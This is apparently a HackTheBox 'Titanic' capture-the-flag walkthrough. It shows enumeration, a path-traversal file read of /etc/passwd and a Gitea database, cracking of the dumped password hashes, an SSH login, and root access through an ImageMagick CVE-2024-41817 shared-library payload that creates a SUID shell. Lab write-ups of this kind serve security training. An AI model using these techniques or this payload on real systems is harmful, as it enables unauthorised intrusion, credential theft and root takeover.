Welcome back, today we are attacking "Titanic" on the HackTheBox platform.
Enumeration
A quick nmap
scan reveals two open ports:
$ sudo nmap -sV -sC 10.10.11.55
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-24 10:25 CEST
Nmap scan report for 10.10.11.55
Host is up (0.019s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_ 256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://titanic.htb/
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.60 seconds
We need credentials to access SSH, so we should focus first on the website hosted by Apache. Apache issues a redirect to the hostname titanic.htb
so we'll need to add it to /etc/hosts
:
$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.11.55 titanic.htb
We have a "Book now" form we can fill out:
Submitting returns a redirect to http://titanic.htb/download?ticket=405d6fc7-7e66-4706-99f6-af906ff7b4a4.json
which contains
{
"name": "Jens",
"email": "[email protected]",
"phone": "12345678",
"date": "4344-11-22",
"cabin": "Standard"
}
Nothing here besides the data we entered. However, maybe we can modify the filename to download other files (Local File Inclusion vulnerability).
We can use Burp Suite to capture and modify the request by enabling the proxy and submitting the form while "Intercept" mode is enabled:
We'll modify the ticket
query parameter to /etc/passwd
and hit send:
I've highlighted the only user in the /etc/passwd
file that actually can log in (shell is not set to /bin/false
or /usr/sbin/nologin
):
root:x:0:0:root:/root:/bin/bash
...
developer:x:1000:1000:developer:/home/developer:/bin/bash
We might be able to authenticate as developer
over SSH if we can find some credentials.
Maybe we can continue our search by enumerating directories on this web application.
$ gobuster dir --url http://titanic.htb/ --wordlist /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://titanic.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/download (Status: 400) [Size: 41]
/book (Status: 405) [Size: 153]
/server-status (Status: 403) [Size: 276]
Progress: 23889 / 30000 (79.63%)[ERROR] parse "http://titanic.htb/error\x1f_log": net/url: invalid control character in URL
Progress: 29999 / 30000 (100.00%)
===============================================================
Finished
===============================================================
gobuster
found nothing that isnt a 400-status page (unaccessible).
We can check subdomains:
$ gobuster vhost -u http://titanic.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain -r
Really important is the --append-domain
flag here:
=>Append main domain from URL to words from wordlist. Otherwise the fully qualified domains need to be specified in the wordlist.
This is crucial because we want to find foo.titanic.htb
and not foo
itself. We also need the -r
flag, because Apache has a fallback rule set to redirects all unknown VHOSTs to titanic.htb
, and gobuster
would flag all 301 responses as "found" while they don't exist.
$ gobuster vhost -u http://titanic.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain -r
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://titanic.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.titanic.htb Status: 200 [Size: 13982]
Progress: 75 / 19967 (0.38%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 114 / 19967 (0.57%)
===============================================================
Finished
===============================================================
dev.titanic.htb
is identified immediately. Let's add it to /etc/hosts
so we can visit it:
$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.11.55 titanic.htb dev.titanic.htb
Gitea allows us to sign in or register, the former of which won't work because I don't know a password (I guess the username might be developer
). But we can register a new account.
Registering with password 12345678
leads us to the dashboard. At first sight, it seems empty. But browsing to "Explore" reveals two applications:
We can check out flask-app
's app.py
, where we can see in the download_ticket
function that the "path" is not escaped or checked and this creates the Local File Inclusion (LFI) vulnerability we found earlier (downloading /etc/passwd
):
@app.route('/download', methods=['GET'])
def download_ticket():
ticket = request.args.get('ticket')
if not ticket:
return jsonify({"error": "Ticket parameter is required"}), 400
json_filepath = os.path.join(TICKETS_DIR, ticket)
if os.path.exists(json_filepath):
return send_file(json_filepath, as_attachment=True, download_name=ticket)
else:
return jsonify({"error": "Ticket not found"}), 404
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000)
So flask-app
is the titanic.htb
website with the "Book Now" form. Let's check out docker-config
repository.
Reading gitea/docker-compose.yml
I notice the Gitea application is running with port 3000 and also port 22 set for SSH access. But this SSH access is only to connect to inside the Docker container. It won't allow us to get access to the server running the Docker container. It is also only listening on localhost:22
so we cannot access it from the outside.
Next, I see that /home/developer/gitea/data
is mounted, which is interesting because this home directory is exactly where we want to retrieve the user flag from. The service runs with USER_UID
and USER_GID
1000, which corresponds to the /etc/passwd
entry for developer
.
The docker-config
repository has another folder, mysql
with a docker-compose.yml
file as well:
version: "3.8"
services:
mysql:
image: mysql:8.0
container_name: mysql
ports:
- "127.0.0.1:3306:3306"
environment:
MYSQL_ROOT_PASSWORD: "MySQLP@$$w0rd!"
MYSQL_DATABASE: tickets
MYSQL_USER: sql_svc
MYSQL_PASSWORD: sql_password
restart: always
This file contains a password for the instance hosting the tickets
database.
I tried the password MySQLP@$$w0rd!
with the SSH service as developer
, but its not the right password:
$ ssh [email protected]
The authenticity of host 'titanic.htb (10.10.11.55)' can't be established.
ED25519 key fingerprint is SHA256:Ku8uHj9CN/ZIoay7zsSmUDopgYkPmN7ugINXU0b2GEQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'titanic.htb' (ED25519) to the list of known hosts.
[email protected]'s password: MySQLP@$$w0rd!
Permission denied, please try again.
MySQL is also only listening on 127.0.0.1
(localhost), so we can't connect to it from the outside.
A first foothold
Let's return to that interesting volume mount:
volumes:
- /home/developer/gitea/data:/data # Replace with your path
Inside Gitea's data is also the gitea.db
file which stores the login credentials. We can possibly download this file exploiting our LFI vulnerability. What is the full path of the gitea.db
file inside /home/developer/data
?
According to the Gitea documentation, the gitea.db
path is configured inside app.ini
, at the path gitea/conf/app.ini
. The data
folder contains this, which is mounted to /home/developer/gitea/data
Fusing these together leads to /home/developer/gitea/data/gitea/conf/app.ini
:
This contains the [database]
section:
[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD =
LOG_SQL = false
SCHEMA =
SSL_MODE = disable
We can use this PATH
to download the SQLite database file:
$ wget titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db
Prepended http:// to 'titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db'
--2025-07-24 12:05:50-- http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db
Resolving titanic.htb (titanic.htb)... 10.10.11.55
Connecting to titanic.htb (titanic.htb)|10.10.11.55|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2084864 (2.0M) [application/octet-stream]
Saving to: ‘download?ticket=%2Fhome%2Fdeveloper%2Fgitea%2Fdata%2Fgitea%2Fgitea.db’
download?ticket=%2Fhome%2Fdeve 100%[=================================================>] 1.99M 2.77MB/s in 0.7s
2025-07-24 12:05:50 (2.77 MB/s) - ‘download?ticket=%2Fhome%2Fdeveloper%2Fgitea%2Fdata%2Fgitea%2Fgitea.db’ saved [2084864/2084864]
According to ChatGPT, the password hashes are located in the user
table: let's dump the credentials:
$ sqlite3 gitea.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> SELECT name,passwd FROM user;
administrator|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136
developer|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56
jens|525efa0cdd272db4dafe0f2a18f96fc0eb66425697ceb46344de82885e4194d86e7e83c6a4147bdb40141a9bda9a1aeb018c
There are password hashes for administrator
as well as developer
and the account I registered.
We'll probably want to crack the developer
password because we know from /etc/passwd
that this is the user we can log in to over SSH. But the current password format is not something Hashcat can work with. I found this post by 0xdf which shows a command to format the password into the right format.
That command gives me a gitea.hashes
file.
$ hashcat gitea.hashes /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt --user
hashcat (v6.2.6) starting in autodetect mode
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #1: cpu-skylake-avx512-AMD Ryzen 7 7700X 8-Core Processor, 1431/2927 MB (512 MB allocatable), 2MCU
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
10900 | PBKDF2-HMAC-SHA256 | Generic KDF
NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 3 digests; 3 unique digests, 3 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Slow-Hash-SIMD-LOOP
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Host memory required for this attack: 0 MB
Dictionary cache built:
* Filename..: /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
* Passwords.: 14344391
* Bytes.....: 139921497
* Keyspace..: 14344384
* Runtime...: 1 sec
...
$ hashcat gitea.hashes --show --user
$ hashcat gitea.hashes --show --user
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
10900 | PBKDF2-HMAC-SHA256 | Generic KDF
NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528
jens:sha256:50000:HDytj/IKWGYGUUGj1QfDAg==:Ul76DN0nLbTa/g8qGPlvwOtmQlaXzrRjRN6CiF5BlNhufoPGpBR720AUGpvamhrrAYw=:12345678
It cracked my password (12345678
) and also developer
's password: 25282528
.
$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-131-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Thu Jul 24 10:33:18 AM UTC 2025
System load: 0.12
Usage of /: 70.3% of 6.79GB
Memory usage: 14%
Swap usage: 0%
Processes: 228
Users logged in: 0
IPv4 address for eth0: 10.10.11.55
IPv6 address for eth0: dead:beef::250:56ff:fe94:4bf0
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
developer@titanic:~$ cat user.txt
639663e7f459db62626be43aadff****
That's flag number 1!
Privilege Escalation
There's /opt/scripts/identify_images.sh
:
developer@titanic:~$ cat /opt/scripts/identify_images.sh
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
developer@titanic:~$ ls -l /opt/app/static/assets/images/metadata.log
-rw-r----- 1 root developer 442 Jul 24 10:41 /opt/app/static/assets/images/metadata.log
The script seems to be run every minute by root
. What can we exploit about /usr/bin/magick
?
$ magick --version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma
openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)
There is CVE-2024-41817
. Apparently we can place a shared library in the images
directory, and it will be loaded by the vulnerable version 7.1.1.
$ gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("cp /bin/sh /tmp && chmod u+s /tmp/sh");
exit(0);
}
EOF
This libxcb.so.1
file will be loaded by Magick and it will make a new copy of /bin/sh
with SUID permissions, so we can execute it and get a root shell. Now we have to wait up to a minute for the script to be executed.
developer@titanic:/tmp$ ./sh -p
# id
uid=1000(developer) gid=1000(developer) euid=0(root) groups=1000(developer)
# cat /root/root.txt
4b7fba7422bcd1bf6d48799cc5d1****
That second flag was certainly a lot harder than the user flag!